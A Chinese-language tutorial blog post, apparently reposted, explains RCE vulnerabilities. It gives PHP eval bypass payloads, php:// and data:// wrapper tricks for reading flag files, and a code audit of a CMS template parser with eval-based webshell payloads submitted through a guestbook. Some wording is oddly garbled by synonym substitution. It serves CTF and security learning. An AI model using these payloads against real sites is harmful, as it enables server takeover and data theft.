解密RCE毛病:原理分析、复现与代码审计实战
在网络安全范畴,长途代码实行(RCE)毛病因其严重性和粉碎力而备受关注。RCE毛病允许攻击者在目的体系上实行任意代码,从而掌控整个体系,带来极大的安全风险。理解RCE毛病的工作原理,并把握其复现与代码审计技巧,对于提升体系安全性至关重要。本文将深入分析RCE毛病的原理,展示如安在现实环境中复现该毛病,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开辟者,都能从中获得实用的知识和技能。让我们一起解密RCE毛病,提升我们的安全防护能力。
[*] 概念
[*]长途代码实行(RCE)毛病是一种严重的安全毛病,它允许攻击者在目的体系上长途实行任意代码。通过利用RCE毛病,攻击者可以完全控制受害体系,实行恶意操作,如窃取敏感数据、安装恶意软件、粉碎体系功能等。RCE毛病通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使体系实行,从而到达控制目的体系的目的。这类毛病的利用不仅对体系安全构成重大威胁,而且大概导致严重的经济损失和数据泄露,因此辨认和修复RCE毛病对确保体系安全至关重要。
[*] 利用函数
[*] php
[*]eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
[*] python
[*]eval exec subprocess os.system commands
[*] java
[*]java中没有类似php中的eval函数这种直接可以将字符串转化为代码实行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
[*] 复现
[*] 基本使用
[*] 源码
<?php
error_reporting(0); //排除错误
if(isset($_GET['c'])){ //get传参不为空,执行if语句
$c = $_GET['c']; //get传参,赋值给变量c
if(!preg_match("/flag/i", $c)){ //过滤flag
eval($c); //执行c表达式
}
}else{
highlight_file(__FILE__);
}
payload:
?c=system('tac fla*.php');
?c=echo shell_exec('tac fla*');
?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
[*] 参数逃逸
[*] 源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?c=eval($_GET);&1=phpinfo();
[*] https://i-blog.csdnimg.cn/blog_migrate/38bcc08e39b69b8625216837b6d25d39.png
[*] 伪协议
[*] 源码同上
payload:
?c=include$_GET?>&a=data://text/pain,<?=system('tac flag.php');?>
payload2
get:?c=include$_GET?>&a=php://input
post:<?php system('tac flag.php');?>
payload3
?c=include$_GET?>&a=php://filter/read=convert.base64-encode/resource=flag.php
[*] https://i-blog.csdnimg.cn/blog_migrate/1cd6aa2ea3c6ea711eff3ba88aa5df9f.png
[*] https://i-blog.csdnimg.cn/blog_migrate/77accc665272fb1f78cca6f609de7c4e.png
[*] https://i-blog.csdnimg.cn/blog_migrate/b922c748eb3007a7a3132651aaf88b66.png
代码审计
[*] 靶场搭建
[*]靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
[*]下载靶场,在config.php文件中填入授权码,安装靶场
[*] 流程
[*] 导入文件,搜索常用的下令实行函数eval
[*]https://i-blog.csdnimg.cn/blog_migrate/e3f381db51d079bdc602a30359f12f88.png
[*] 看到eval的来源变量matches
[*]https://i-blog.csdnimg.cn/blog_migrate/d478a0e639ad680857a3ea9b727d5df2.png
[*] 本文搜索matches的数据来源,来源于parserSiteLabel函数
[*]https://i-blog.csdnimg.cn/blog_migrate/3188f3a11269ff3e0d9d8638172c0093.png
[*] 全局搜索parserSiteLabel函数,看到parserCommom函数
[*]https://i-blog.csdnimg.cn/blog_migrate/61c6261c274a39305ef4bf8fa35af436.png
[*] 全局搜索parserCommom函数,到达AboutController.php
[*]名称与网站对应关系
[*]https://i-blog.csdnimg.cn/blog_migrate/8ca87357fbccbde3761d653b31741b11.png
[*] 有前端与后端结合可知,前端的留言板是在AboutController.php上的
[*]https://i-blog.csdnimg.cn/blog_migrate/038d45e73a24d07ddf5f368b61584210.png
[*] 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过
[*] 代码
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:()+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
// 对于无参数函数不执行解析工作
if (preg_match('/[\w]+\(\)/', $matches[$i])) {
continue;
}
eval('if(' . $matches[$i] . '){$flag="if";}else{$flag="else";}');
if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[$i], $matches2)) { // 判断是否存在else
switch ($flag) {
case 'if': // 条件为真
if (isset($matches2)) {
$out_html = $matches2;
}
break;
case 'else': // 条件为假
if (isset($matches2)) {
$out_html = $matches2;
}
break;
}
} elseif ($flag == 'if') {
$out_html = $matches[$i];
}
// 无限极嵌套解析
if (preg_match($pattern2, $out_html, $matches3)) {
$out_html = str_replace('pboot:' . $matches3 . 'if', 'pboot:if', $out_html);
$out_html = str_replace('{' . $matches3 . 'else}', '{else}', $out_html);
$out_html = $this->parserIfLabel($out_html);
}
// 执行替换
$content = str_replace($matches[$i], $out_html, $content);
}
}
payload:
留言:{pboot:if(eval($_POST))}!!!{/pboot:if}
payload2:
留言:{pboot:if(eval($_REQUEST));//)})}}{/pboot:if}&3=phpinfo();
//记得要在后台把状态打开,不然无回显,头疼!!!!
[*] https://i-blog.csdnimg.cn/blog_migrate/42351d722eb3f3ecb19c8bcd4cf31020.png
[*] https://i-blog.csdnimg.cn/blog_migrate/882aab20ef11b52b175ee3bb0da776ff.png
通过本次学习,我们不仅深入了解了RCE毛病的原理,还把握了复现该毛病的具体步骤和代码审计的方法。安全防护不仅是技能问题,更是一种意识和态度。通过对RCE毛病的全面分析,我们可以或许更好地辨认和修复潜在的安全风险,从而保护我们的体系和数据安全。
在信息安全的蹊径上,没有尽头。希望本文能为您在安全防护方面提供有价值的指导和资助,激发您对网络安全的持续关注和兴趣。让我们共同积极,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的发起,接待在批评区与我们互动。感谢您的阅读,期待您的反馈与分享!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]